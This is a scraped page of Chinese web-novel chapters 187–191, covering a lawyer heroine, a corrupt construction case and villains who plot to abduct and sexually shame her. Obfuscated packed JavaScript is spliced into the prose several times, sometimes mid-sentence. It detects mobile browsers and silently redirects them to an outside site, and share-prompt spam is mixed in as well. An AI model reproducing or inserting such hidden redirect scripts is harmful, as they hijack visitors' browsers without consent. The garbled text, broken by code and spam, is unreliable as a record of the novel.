l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16777681|190312||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一个头,额角伤口崩裂,渗出的血珠染红了地毯。 他没再说一个字,利落地起身,转身拉开书房门,大步走了出去。 背影决绝,没有回头。 管家福伯一直守在走廊尽头,见陆凛出来,那满身的戾气和额角新鲜的血迹让他心头一跳。 他连忙低头,不敢多看。 直到那脚步声消失在楼梯口,福伯才轻轻推开书房门。 只见老爷子依旧站在窗前,背影萧索。 地上,那根跟随他多年的紫檀木拐杖,竟已从中断裂。 福伯屏住呼吸,悄悄退了出去。 “福伯,孙少爷他……”有相熟的佣人凑上来,小心翼翼地问。 福伯摇摇头,面色凝重。 “别问。” 他只知道,傅家的天,怕是要变了。 …… 陆凛走出傅家老宅的大门,夜风凛冽,吹在他滚烫的脸上。 高岚的车等在路边,见他出来,立刻下车打开车门。 陆凛坐进后座,扯掉额角已经被血浸透的纱布,随手扔出窗外。 他靠在椅背上,闭上眼,眉宇间是挥之不去的疲惫和一股狠戾的躁意。 嘴角的伤口还在隐隐作痛,提醒着他白天在傅修沉办公室里的那一拳。 不亏。 那一拳,打散了他心里最后那点不该有的犹豫和愧疚。 电台里放着嘈杂的夜间新闻,主播正用甜美的声音报道着商界动态:“……据悉,明氏集团危机在傅氏强势介入后已初步稳定,新任代理CEO明燃先生表示将全力追查此次事件……另据知情人士透露,傅氏集团总裁傅修沉先生与明嫣小姐感情稳定,日前有人拍到二人共同出入医院探望明董事长,力破此前分手谣言……” “关掉。”陆凛的声音又冷又燥。 高岚立刻伸手关了电台。 车厢内陷入死寂。 陆凛降下车窗,让冰冷的夜风灌进来,吹散他身上那令人烦躁的冷冽气息。 他拿出手机,屏幕漆黑,没有一条新信息。 他扯了扯嘴角,眼底是一片荒芜的冷。 也好。 这样也好。 他既然已经踏出了这一步,就再没什么能阻挡他。 五年。 他只给自己五年。 五年后,他若回来,这沪上,乃至更远的地方,都该有他陆凛说话的位置。 至于其他…… 他闭上眼,将那个纤细的身影强行从脑海里驱逐。 那没心没肺的女人,眼里只有他大哥。 那他就要站得比傅修沉更高,让她,让所有人,都再也无法忽视他陆凛的存在。 第187章 嫣嫣,以后记得每年都和我说…… 傅家老宅那场风波过后,陆凛便彻底消失了。 他辞去了傅氏的所有职务,走得干干净净。 除了傅老爷子,没人知道他去了哪儿。 傅修沉没拦,也没再过问,像是早就料到,又像是根本不在意。 他把所有精力都投在了两件事上:傅氏集团的稳定以及明庭峰的病情。 他请来的国外顶尖神经外科专家团队已经到位,详细的会诊和评估后,给出了一个让明家上下重燃希望的消息—— “明先生在坠楼时,幸运地被楼下的空调外机缓冲了一下,这极大地减少了致命的冲击力,再加上之前的手术非常成功,清除了淤血,稳住了伤势,这意味着,明先生有极大的苏醒可能,也许需要时间,但希望很大。” 专家的话像一道光,刺破了笼罩在明家上空许久的阴霾。 苏婉晴脸上终于又有了点笑模样,眼神里也不再是全然的绝望。 她每天守在病房跟里面昏迷的丈夫说话,絮絮叨叨,说着家里的事,说着嫣嫣和修沉,说着阿燃接手公司很顺利…… 明燃确实雷厉风行。 他顶着明氏集团代理CEO的头衔,直接搬进了董事长办公室。 手段比他父亲更冷硬,清理内部、稳定股价、对接傅氏带来的资源,可谓忙得脚不沾地。 而就在一片忙碌中,终于迎来了除夕。 魔都禁了多年的烟花爆竹今年开了个小口子,指定了几个江边区域允许燃放。 傅修沉没带明嫣去人挤人,而是在能看到江景的顶层公寓里。 窗外,零星的烟花已经开始蹿上天空,炸开一朵朵短暂的光亮。 明嫣盘腿坐在厚厚的地毯上,身上裹着柔软的羊毛毯,手里捧着一杯热牛奶,看着窗外。 傅修沉处理完最后一份邮件,从书房出来,在她身边坐下,很自然地将她连人带毯子揽进怀里。 “累了?”他低头,下巴蹭了蹭她的发顶。 “嗯。”明嫣懒懒地应了一声,往他怀里缩了缩。 他身上有清冽好闻的气息,混合着一点淡淡的烟草味。 连日的奔波让她身心俱疲,此刻在他温暖的怀抱里,困意汹涌袭来。 傅修沉没再说话,只是收紧了手臂,让她靠得更舒服。 他的手掌隔着毯子,轻轻拍着她的背,像哄小孩子一样。 窗外的烟花越来越密集,映得夜空明明灭灭。 明嫣的意识渐渐模糊,眼皮沉得抬不起来。 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 就在她快要睡着的时候—— “咚——咚——咚——” 零点的钟声,透过隔音良好的玻璃,隐约传了进来。 几乎是同时,窗外,数不清的烟花齐齐升空,将整个江面映照得如同白昼,璀璨夺目。 傅修沉低下头,温热的唇吻了吻她的发顶,声音低沉而清晰:“嫣嫣,新年快乐。” 明嫣困得迷迷糊糊,脑子一团浆糊,只下意识地嘟囔了一句:“嗯……新年快乐……” 傅修沉低低地笑了一声,胸腔传来轻微的震动。 他侧过头,又吻了吻她温热的脸颊,嗓音带着诱人的磁性和不容置疑的认真:“嫣嫣,以后记得每年都和我说。” “唔……”明嫣无意识地应着,根本没过脑子,只想睡觉。 傅修沉看着她困得睁不开眼的样子,眼神柔软,没再闹她,只是将她更紧地拥在怀里。 …… 年后,生活似乎被按下了快进键。 明燃一头扎进明氏集团和城东烂尾楼的泥潭里,忙得不见人影,身上那股冷厉劲儿越发慑人。 傅修沉同样日理万机,傅氏集团庞大的商业帝国需要他坐镇,还要分神关注明庭峰的治疗和明嫣这边。 明嫣也没闲着。 嫣然律所魔都分所正式挂牌成立。 有了年前那场盛**花秀造势,加上她本身的能力和傅修沉暗中铺路,分所起步很快,接连接了几个不大不小的案子,算是站稳了脚跟。 年后开工第一天,嫣然律所魔都分所门口就弥漫着一股不同寻常的气氛。 明嫣踩着高跟鞋踏进律所,还没来得及脱下大衣,陆奉归就一脸复杂地迎了上来,眼神往会客区那边瞟。 “老大,你可算回来了。” “怎么了?”明嫣顺着他的视线看过去,微微一怔。 会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16777682|190312||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 客区的长沙发上,那个年前被她应聘回来的少年林野,正蜷缩在那里睡着。 他依旧是那身洗得发白的牛仔服,头发似乎更长了点,遮住了大半张脸。 但不同于年前的落魄,此刻他身边放着一个打开的医药箱,手背上贴着创可贴,嘴角也带着新鲜的淤青。 最扎眼的是,律所门口那盆半人高的绿植后面,堆着几个一看就是打地铺用的被褥卷。 “这小子……”陆奉归压低声音,又是无奈又带着点不可思议,“过年这几天,他就没走!一直住在律所里!” 明嫣皱眉:“你没给他安排住处?” 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 “安排了呀!”陆奉归叫屈,“我按你说的,在附近给他租了个小单间,钥匙都给他了!谁知道他压根没去!” 他顿了顿,声音压得更低,带着点后怕和兴奋:“幸亏他没去!老大你是不知道,年初五晚上,咱们律所进贼了!” 明嫣心头一凛:“怎么回事?” “四五个壮汉,拿着家伙,撬锁进来的!看那架势,不是普通小偷,像是专门来找什么东西的。” 陆奉归说起来还心有余悸,“我当时正好回来拿文件,撞个正着,差点没吓死!结果你猜怎么着?” 他指着沙发上的林野,眼睛发亮:“这小子!不知道从哪儿冒出来的,一声不吭,直接就跟那几个人干起来了!我的天,那身手……简直跟头小狼崽子似的!下手那叫一个黑!那四五个人,被他一个人打得哭爹喊娘,最后是连滚带爬跑的!” 明嫣看着沙发上那看似无害的少年,很难想象他会有这样凶悍的一面。 “他受伤了?” “嗐,就蹭破点皮!” 陆奉归摆手,“对方才惨呢,有一个胳膊直接被卸了,还有一个腿瘸了,估计没俩月下不来床。警察来了都直咧嘴,说这小子下手太刁钻。” 他凑近明嫣,语气带着点调侃,又有点忧心:“老大,我怎么觉得,这小子身份不简单呢……简直就是陆凛那小子的翻版,这混不吝的劲儿,那不要命的打法……啧啧。” 明嫣没接话,心里却是一动。 陆凛…… 第188章 他后悔了…… 明嫣走过去轻轻碰了碰林野的肩膀。 少年瞬间惊醒眼神在迷茫了一刹那后立刻变得锐利警惕。 看到是明嫣他眼底的戾气才迅速收敛有些慌乱地坐起身下意识想把带着伤的手藏到身后。 “为什么不住我让人给你租的房子?”明嫣问。 林野垂下眼长长的睫毛遮住了情绪声音很低:“这里……安全。” 明嫣看着他紧绷的下颌线和攥紧的拳头忽然就明白了。 或许这个能为他提供工作和食物的律所才是他唯一感到“安全”的领地所以他本能地守着这里。 “以后就住律所吧。” 明嫣指了指一旁的房间“里面那间闲置的储藏室收拾一下给你当宿舍。但条件是不能再睡沙发也不能打地铺。” 林野猛地抬头黑沉沉的眼睛里闪过一丝难以置信的光亮他用力点了点头。 “还有”明嫣看着他手上的伤“下次再遇到这种事先报警保护自己最重要。” 林野抿了抿唇没答应也没反驳。 明嫣知道白说了。 这狼崽子的逻辑很简单——谁动他的地盘他就咬死谁。 …… 处理完这个小插曲明嫣刚在办公室坐下陆奉归就拿着一个文件夹面色凝重地走了进来。 “老大有个案子我觉得……有点不寻常。” “说。” “是一起工人集体诉讼案。”陆奉归把文件放在明嫣桌上“承建方是‘鼎盛建设’他们起诉分包商‘永利劳务’拖欠工人工资导致工人**影响了工程进度要求巨额赔偿。” 明嫣翻开文件快速浏览:“工人为什么**?” “怪就怪在这里。”陆奉归指着其中一行“根据工人代表提供的线索 明嫣眼神一凝:“哪个工地?” 陆奉归吐出四个字:“城东地块。” 办公室内的空气瞬间凝固。 ——城东地块! 那个让她父亲明庭峰陷入昏迷让明氏集团险些崩盘的地方! 明嫣的心跳漏了一拍她强迫自己冷静下来:“工人有证据吗?” “没有直接证据。” 陆奉归摇头“工地的材料进场记录做得天衣无缝所有的检测报告都是合格的。工人 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 只是凭经验觉得不对劲加上工资被拖欠情绪激动才去围了项目部。但现在鼎盛建设反咬一口说永利劳务煽动工人**讹诈工程款。” “永利劳务请我们代理?”明嫣问。 “不是。”陆奉归表情更古怪了“是那些工人自己凑钱找到我们想告永利劳务和鼎盛建设要求支付拖欠工资并彻查材料问题。” 明嫣立刻抓住了关键点:“工人为什么不通过劳动仲裁?” “他们试过但流程太慢而且……”陆奉归压低声音“他们觉得背后有人在压这个事。” “这个案子我们接。”明嫣合上文件夹眼神锐利“告诉工人代表我们嫣然律所免费为他们代理。” 陆奉归有些犹豫:“老大这明显是个马蜂窝而且牵扯到城东项目会不会……” “正因为它牵扯到城东项目我才更要接。”明嫣站起身走到窗边看着下面车水马龙“我爸不能白躺在那儿。” 她要知道城东那块地底下到底藏着多少魑魅魍魉。 “去准备吧收集所有能找到的证据特别是关于材料问题的哪怕只是工人们的口头证词和怀疑。” “明白!”陆奉归见明嫣决心已定也不再劝转身出去安排了。 明嫣深吸一口气正准备打电话给傅修沉说一下这个情况内线电话却响了起来。 前台小妹的声音有些紧张:“明律师有位霍寒山先生找您没有预约……” 明嫣眉头蹙起。 霍寒山? 他来做什么? 她和霍寒山之间那点本就微薄的情分早已消耗殆尽加上他和秦婉那摊子烂事她更是避之不及。 “告诉他我在忙没空。”明嫣想也没想就回绝了。 “我说了……”话筒里声音带着几分急切“可是霍先生他……他直接闯进来了!” 话音未落办公室的门被人从外面猛地推开。 霍寒山站在门口一身黑色的西装衬得他身材挺拔 他无视身后试图阻拦的人大步走了进来反手就将门关上。 明嫣脸色瞬间沉了下来站起身冷眼看着他:“霍寒山这里不欢迎你请你立刻出去!” 霍寒山看着她公事公办的态度喉咙有些发紧:“我听说……你律所接下了城东地块那些工人的案子?” 明嫣挑眉消息传得这么快? “这好像与霍律师无关 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 。” “有关!”霍寒山语气急切了几分,“鼎盛建设……是秦婉舅舅,赵老四暗中控股的公 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16777683|190312||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 司!这个案子背后的水很深,你没必要蹚这趟浑水!” 明嫣瞬间明白了。 难怪霍寒山会来找她。 鼎盛建设背后的人竟然是赵老四?! 那是不是也跟傅承平脱不了关系? 他不是已经在看守所了吗? 还能翻出什么风浪? 霍寒山见她不说话,还以为她是被自己说动,“明嫣,我只是不希望你卷入危险。那些工人背后可能也有人指使,这件事没那么简单!你斗不过他们的!” “他们?”明嫣捕捉到他话里的关键词,“他们是谁?” 霍寒山语塞,脸上掠过一丝挣扎:“你别问了!总之,放弃这个案子,对你,对明家都好!” “对我父亲也好吗?”明嫣的声音冷了下来,“霍寒山,我父亲现在还躺在医院里!城东项目就是**!你现在让我放手?” 她站起身,居高临下地看着他:“如果你今天是来替赵老四当说客的,那么请回吧。这个案子,我跟定了。” “我不是说客!”霍寒山也猛地站起来,情绪有些激动,“明嫣!你为什么总是这么固执?!傅修沉他就那么好吗?好到让你连命都可以不要?!” 这话里的嫉妒和不甘几乎毫不掩饰。 明嫣觉得荒谬又可笑:“霍寒山,这跟傅修沉没有关系!这是我明家的事!” “怎么会没有关系?!”霍寒山像是被点燃的炮仗,往前逼近一步,双手撑在会议桌上,眼睛发红,“如果不是他傅修沉,我们怎么会变成今天这样?!如果不是他,现在站在你身边保护你的人应该是我!” 会议室的空气仿佛被抽空。 明嫣看着他失控的样子,只觉得无比讽刺,甚至有些想笑。 “霍寒山,走到今天这一步,是你自己的选择。”她声音不大,却像冰锥,砸在霍寒山心上,“现在,请你记住你自己的身份,也记住我的身份。” 她拿起桌上的文件夹,转身走向门口,在手触碰到门把手时,停顿了一下,没有回头。 “另外,替我转告赵老四,有什么手段,尽管使出来。我明嫣,奉陪到底。” 说完,她拉开门,径直走了出去。 霍寒山僵在原地,撑在桌上的手缓缓握成拳,指节因为用力而泛白。 他看着明嫣决绝的背影,胸口像是破了一个大洞,呼呼地灌着冷风。 他后悔了。 他是真的后悔了。 可是,一切都晚了。 第189章 动明嫣? 等送走霍寒山明嫣的心口还堵着一股气。 霍寒山的话像苍蝇一样在耳边嗡嗡响。 鼎盛建设赵老四…… 果然跟傅承平脱不了干系! 她爸躺在医院明氏差点崩盘这笔账她得一笔一笔算清楚。 陆奉归敲门进来脸色不太好看:“老大工人代表那边联系上了但他们现在很害怕说昨天有人去他们临时住处‘慰问’话里话外让他们闭嘴。” 明嫣冷笑:“动作真快。” “还有”陆奉归压低声音“我托人查了鼎盛建设的底表面干净得像张白纸但底下几个空壳公司走账走得飞起最终都指向一个海外账户。这手法跟之前坑了明氏的那个海外融资方有点像。” 明嫣眼神一凛:“能查到账户持有人吗?” “对方藏得很深需要时间。” “尽快。”明嫣指尖点了点桌面“另外想办法拿到工地现场的建筑材料样本送去权威机构检测费用律所出。” 陆奉归点头:“明白我这就去安排。” 陆奉归走后明嫣靠在椅背上揉了揉眉心。 她知道这案子难 这是摆明了要堵死所有路。 她拿出手机想给傅修沉打个电话手指悬在拨号键上又顿住了。 不能什么事都依赖他。 这是明家的坎得她自己迈过去。 …… 而与此同时的高级公寓里。 “啪——” 秦婉摔了手里的爱马仕茶杯。 上好的骨瓷砸在大理石地板上碎片四溅滚烫的茶水洇湿了地毯。 “霍寒山!你又去找那个**!” 她摔了杯子还不解气胸口那团火蹭蹭往上冒烧得她理智全无。 她抓起手机手指发抖地翻出霍寒山的号码拨过去听着里面传来的冰冷忙音气得差点把手机也砸了。 他不接她电话! 却跑去那个**那里摇尾乞怜! 明明都快结婚了他眼里还是只有明嫣那个扫把星! 只要一想到等明嫣嫁给傅修沉后就压她一头自己还得恭恭敬敬地喊她一声‘嫂子’秦婉就就恶心得想吐。 不行! 绝对不行! 她不能让明嫣好过! 更不能让她风风光光嫁进傅家压在自己头上! 霍寒山不是不死心吗? 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 不是觉得明嫣冰清玉洁吗? 如果明嫣脏了,烂了,看霍寒山还会不会把她当宝贝! 看傅修沉还要不要这个破鞋! 一个恶毒的念头在她心里疯狂滋长。 她猛地站起身,也顾不上收拾满地狼藉,抓起车钥匙和包就冲出了门。 …… 赵老四在城西有家地下拳馆,表面是拳击爱好者的**地,实际上是他的老巢之一,放贷、收账、处理一些见不得光的事情都在这里。 秦婉熟门熟路地穿过嘈杂混乱的前厅,径直推开最里面办公室的门。 “舅舅! 赵老四正叼着雪茄,跟手下说着什么,见秦婉眼圈通红地冲进来,摆了摆手让手下先出去。 “怎么了婉儿?谁欺负你了?赵老四掐灭雪茄,连带着表情都柔和了些。 “是明嫣!又是那个**!秦婉扑到赵老四办公桌前,声音带着哭腔,又恨又委屈,“霍寒山他又去找她了!他眼里根本没有我!舅舅,我咽不下这口气! 赵老四眉头皱起:“霍寒山那小子还不安分? “他什么时候安分过! 秦婉咬牙切齿,“他心里一直惦记着明嫣那个扫把星!舅舅,不能再让她这么得意下去了!她爸都快**,她还在外面勾三搭四,还想嫁进傅家?她想得美! 她抓住赵老四的胳膊,“舅舅,你帮帮我,找人……找人去把她给办了!只要她脏了,看霍寒山还要不要她,看傅修沉还怎么娶她! 赵老四脸色微变,沉吟着没立刻答应。 动明嫣? 这可不是小事。 明嫣现在毕竟是傅修沉公开的未婚妻,动了她,等于直接打傅修沉的脸。 傅修沉那人…… 赵老四想起他那些雷霆手段,心里有点发怵。 而且明家那个明燃,现在接手了明氏,也是个狠角色。 明嫣身边这两个男人,没有一个好惹的。 “婉儿,这事……有点冒险。赵老四试图劝她,“傅修沉那边…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16777684|190312||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “傅修沉怎么了?! 秦婉声音尖厉地打断他,“他现在眼里只有那个**,连我b……我二叔傅承平都被他送进去了,他什么时候把我们放在眼里过?等明嫣真的嫁进去,还有我们好日子过吗?舅舅,你就眼睁睁看着外甥女被他们欺负死吗?! 她说着,眼泪啪嗒啪嗒往下掉:“我现在在傅家什么处境你不知道吗?老太太不管事了,傅承平倒了,我什 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 么倚仗都没有了!霍寒山心里也没我!要是再让明嫣骑到我头上,我还不如**算了!” 看着秦婉哭得梨花带雨,赵老四心软了,那点犹豫瞬间被一股混不吝的狠劲取代。 是了,怕什么? 他赵老四在道上混了这么多年,什么风浪没见过? 傅修沉再厉害,也是明面上的生意人,还能把他吃了不成? 只要做得干净点,谁知道是他干的? 再说了,婉儿说得对,不能让明嫣那丫头太得意。 毁了她的清白,看她还怎么嚣张! 霍寒山那个拎不清的,也该彻底死心了。 “好了好了,别哭了。”赵老四抽了张纸巾递给秦婉,眼神冷了下来,“舅舅帮你出这口气。说吧,你想怎么做?” 秦婉立刻止住哭声,眼底闪烁着兴奋和恶毒的光:“找几个生面孔,要嘴严手狠的!把她绑了,拍下视频和照片!我要让她身败名裂!看她还怎么勾引男人!” “行。”赵老四点头,拿出手机,“我这就安排人,找个合适的时机下手。” “要快!”秦婉催促,“最好就这几天!我不想再看到她那张故作清高的脸!” 赵老四拨了个号码,低声交代了几句,挂了电话对秦婉说:“放心,舅舅一定给你办得妥妥的。敢欺负我赵老四的外甥女,就要付出代价!” 秦婉这才破涕为笑,亲昵地挽住赵老四的胳膊:“谢谢舅舅!还是舅舅最疼我!” 她心里盘算着,等明嫣毁了,霍寒山彻底死心,她再想办法怀上孩子,牢牢拴住霍寒山,以后傅家的资源还不是任她取用? 至于明嫣…… 一个被玩烂的破鞋,拿什么跟她争? 第190章 她真的被盯上了 而此时的明嫣正对着电脑上陆奉归刚发来的资料蹙眉。 城东地块的材料供应商背景很复杂,层层转包,最终指向一个境外注册的皮包公司,查起来阻力重重。 林野安静地坐在办公室角落的小板凳上,正低头擦拭着一个旧旧的金属水壶,动作专注,仿佛那是件什么了不得的宝贝。 他偶尔抬眼,目光会飞快地扫过明嫣,然后又迅速垂下。 这时,明嫣的手机响了,是傅修沉。 “下班了吗?我在楼下。 明嫣看了眼时间,才发现已经六点多了。 “马上下来。 她收拾好东西,拎起包,对林野说:“我走了,你也早点休息,记得锁好门。 林野点了点头,没说话。 明嫣走到电梯口,等电梯的时候,揉了揉发胀的太阳穴。 电梯门打开,她走进去,按了一楼。 就在电梯门缓缓合上的瞬间,她似乎瞥见走廊尽头有个模糊的人影一闪而过,动作有点鬼祟。 她心头莫名一跳,定睛再看时,电梯门已经彻底关上,下行数字开始跳动。 可能是错觉吧。 她揉了揉眉心,觉得自己最近有点神经衰弱。 走出写字楼,傅修沉那辆熟悉的黑色宾利就停在路边。 他靠在车边,穿着黑色大衣,身形挺拔,昏黄的路灯在他身上投下淡淡的光晕,侧脸线条冷峻。 见到明嫣,他直起身,很自然地接过她手里的包,另一只手揽住她的腰,低头在她额上亲了一下。 “累不累? “还好。明嫣靠在他怀里,“城东的案子有点棘手。 “嗯,听说了。傅修沉打开车门护着她坐进去,自己绕到驾驶座,“需要我做什么? “暂时不用。明嫣系好安全带,“我想自己先查查看。 傅修沉看了她一眼,没再坚持,发动了车子:“别太逞强。 车子平稳地汇入车流。 明嫣看着窗外飞速**的霓虹,忽然开口:“今天霍寒山来找我了。 傅修沉的语气听不出波澜:“他找你干什么? “为了城东的案子。明嫣把霍寒山的话简单复述了一遍,“他说鼎盛建设是赵老四控股的,警告我别蹚浑水。 傅修沉眼神冷了几分:“赵老四……看来傅承平进去了,他还没学乖。 他侧头看了明嫣一眼,语气带着不容置疑:“最近出门小心点,让 听说看这本书的人都是很幸运的,分享后你的运气会更棒 林野跟着你。赵老四那个人,手段脏。 明嫣心里那点不安又冒了出来,点了点头:“我知道。 她没提电梯口那个疑似窥视的人影,不想让他担心。 只不过…… 明嫣一脸疑惑地扭头看他,“你怎么知道林野的名字? 傅修沉握着方向盘的手几不可察地收紧,随即唇角微勾地侧眸扫了她一眼,“听陆奉归说的。 明嫣撇了撇嘴——那个大嘴巴。 …… 接下来的两天,风平浪静。 明嫣忙着调查城东的案子,接触了几个愿意开口的工人,收集到一些零碎的信息,但都缺乏关键证据。 陆奉归那边对材料样本的检测也还没出结果。 林野几乎是寸步不离地跟着她,上下班,见客户,像个沉默的影子。 他话很少,但眼神警惕,总能第一时间发现任何靠近明嫣的可疑人物。 这天下午,明嫣约了一个之前在鼎盛建设做过管理的离职员工在咖啡馆见面。 对方似乎知道些什么,但顾虑很深,说话吞吞吐吐。 “……明律师,不是我不想说,是……是那些人我们惹不起啊。中年男人搓着手,眼神闪烁,“材料确实有问题,但账目做得太干净了,查不出来的。而且…… 他压低声音:“我听说,之前有个会计想举报,第二天就出车祸摔断了腿,现在人还在医院躺着呢。 明嫣心头一沉:“知道是谁做的吗? 男人惊恐地摇头:“不知道,也不敢知道。明律师,我看您是个好人,听我一句劝,这事水太深,您就别管了。 谈话进行得不顺利,男人最终什么实质性的证据都没提供,匆匆离开了。 明嫣有些失望地坐在座位上,搅拌着已经冷掉的咖啡。 “明嫣。林野突然低声开口。 明嫣抬头看他。 林野示意了一下窗外马路对面:“那辆车,停那里很久了。里面的人,在看我们。 明嫣顺着他的目光看去,对面停着一辆不起眼的黑色轿车,贴着深色膜,看不清里面。 她心里咯噔一下。 是巧合,还是……被盯上了? “我们走吧。明嫣站起身,结账离开。 林野紧跟在她身侧,身体微微紧绷。 走到停车场,明嫣正 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16777685|190312||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要拉开车门,林野却突然伸手拦了她一下。 他蹲下身,仔细检查了一下车底盘和轮胎。 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 “怎么了?”明嫣问。 林野站起身,眉头微皱:“没什么。” 但他眼神里的警惕丝毫未减。 回去的路上,明嫣一直有些心神不宁。 霍寒山的警告,傅修沉的叮嘱,还有刚才那辆可疑的黑车…… 种种迹象表明,她真的被盯上了。 …… 赵老四的拳馆里。 “四哥,那丫头身边跟着个小子,挺棘手的。看着年纪不大,下手黑得很,警惕性也高。” 一个脸上带疤的男人对赵老四汇报,“我们跟了两天,没找到合适的机会下手。” 赵老四眯着眼,吐出一口烟圈:“傅修沉派的人?” “不像。生面孔,穿的也普通,像个小混混,但身手不像。” 赵老四冷哼一声:“不管是谁,挡了路就一起收拾。多找几个人,找个僻静点的地方,速战速决。记住,我要照片和视频,清清楚楚的!” “明白,四哥放心。” 一旁的秦婉得知计划受阻,顿时气得不行。 “废物!连个女人都搞不定!”她噘着嘴对赵老四发脾气,“舅舅,你找的人到底行不行啊?” “婉儿你别急。”赵老四安抚道,“那丫头最近警觉,身边又有人跟着。再等等,舅舅一定给你办好。” “等等等!要等到什么时候?!”秦婉满脸的焦躁,“霍寒山这两天对我不冷不热的,肯定是还惦记着那个**!我一天都等不了了!” 她眼珠转了转,忽然想到一个主意:“舅舅,明嫣不是在乎那些穷工人吗?能不能从那些人身上下手?把她引出来?” 赵老四沉吟了一下:“这倒是个办法……行,我来安排。” 秦婉兴奋得脸颊泛红,仿佛已经看到了明嫣凄惨的下场。 “舅舅,到时候……我要亲自去看看!看她以后还拿什么在我面前耀武扬威!” 赵老四皱眉:“你去干什么?那种地方脏。” “不!我就要去!”秦婉执拗道,“我不亲眼看着,不解恨!再说了,有舅舅你在,我怕什么?” 赵老四拗不过她,只好答应:“行吧,到时候你躲远点看热闹就行。” “舅舅最好了!” 第191章 果然上钩了! 当天下午明嫣就接到了之前联系过的一个工人代表的电话。 对方声音很急说是有个工友偷偷藏了之前工地上一批问题钢筋的进货单复印件愿意交出来但怕被报复只敢当面交给明律师而且要求在一个很偏僻的城郊废弃工厂见面。 时间约在了晚上八点。 明嫣直觉有点不对劲。 太巧了。 她正愁没有关键证据就有人主动送上门? “老大这会不会是个圈套?要不我替你去?”陆奉归觉得有些可疑。 明嫣摇头:“对方指名要见我。如果是真的这份证据很重要。” “可这样太危险了!”陆奉归反对。 “顾不了那么多了。”明嫣眼神坚定“城东的案子必须尽快打开突破口我爸等不起明氏也等不起。” 她看向一旁沉默的林野:“怕吗?” 林野抬眼黑沉沉的眼睛里没什么情绪摇了摇头。 是夜。 天色阴沉没有月亮。 明嫣和林野开车前往城郊的那个废弃工厂。 陆奉归不放心地带着律所另外两个年轻力壮的男律师开着另一辆车远远跟在后面。 工厂位于一片待开发的荒地周围杂草丛生只有一条坑洼不平的小路通进去。 四周漆黑一片只有他们车灯的光柱划破黑暗。 空气中弥漫着铁锈和尘埃的味道。 把车停在工厂锈迹斑斑的大门外明嫣深吸一口气和林野下了车。 工厂里面更是漆黑伸手不见五指只有远处似乎有一点微弱的光亮。 “明律师……是明律师吗?”一个怯怯的男声从黑暗深处传来带着颤音。 “是我。”明嫣握紧了手里的防狼喷雾 光线有限只能看到满地狼藉的废弃零件和破烂的包装箱。 林野比她更快一步挡在她身前眼神锐利地扫视着四周的黑暗。 “东西……东西我带来了。”那个声音继续说道“你们过来拿吧我……我害怕。” 明嫣和林野对视一眼慢慢朝着声音来源的方向走去。 越往里走光线越暗空气也越压抑。 就在他们走到工厂中央一片相对空旷的区域时—— “哗啦!” 身后突然传来铁门被拉上的巨响! 紧接着几道**的光柱从四面八方猛地照射过来 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 ,刺得明嫣瞬间睁不开眼! “哈哈!果然上钩了!一个粗嘎的男人声音响起,带着得意的狞笑。 明嫣眉头紧皱,等勉强适应了强光,这才看到大约七八个流里流气的男人从周围的机器设备和杂物后面走了出来,手里拿着棍棒,不怀好意地围了上来。 而那个所谓的“工人代表,早就缩到一个混混身后,瑟瑟发抖,显然是被胁迫的。 “你们想干什么? 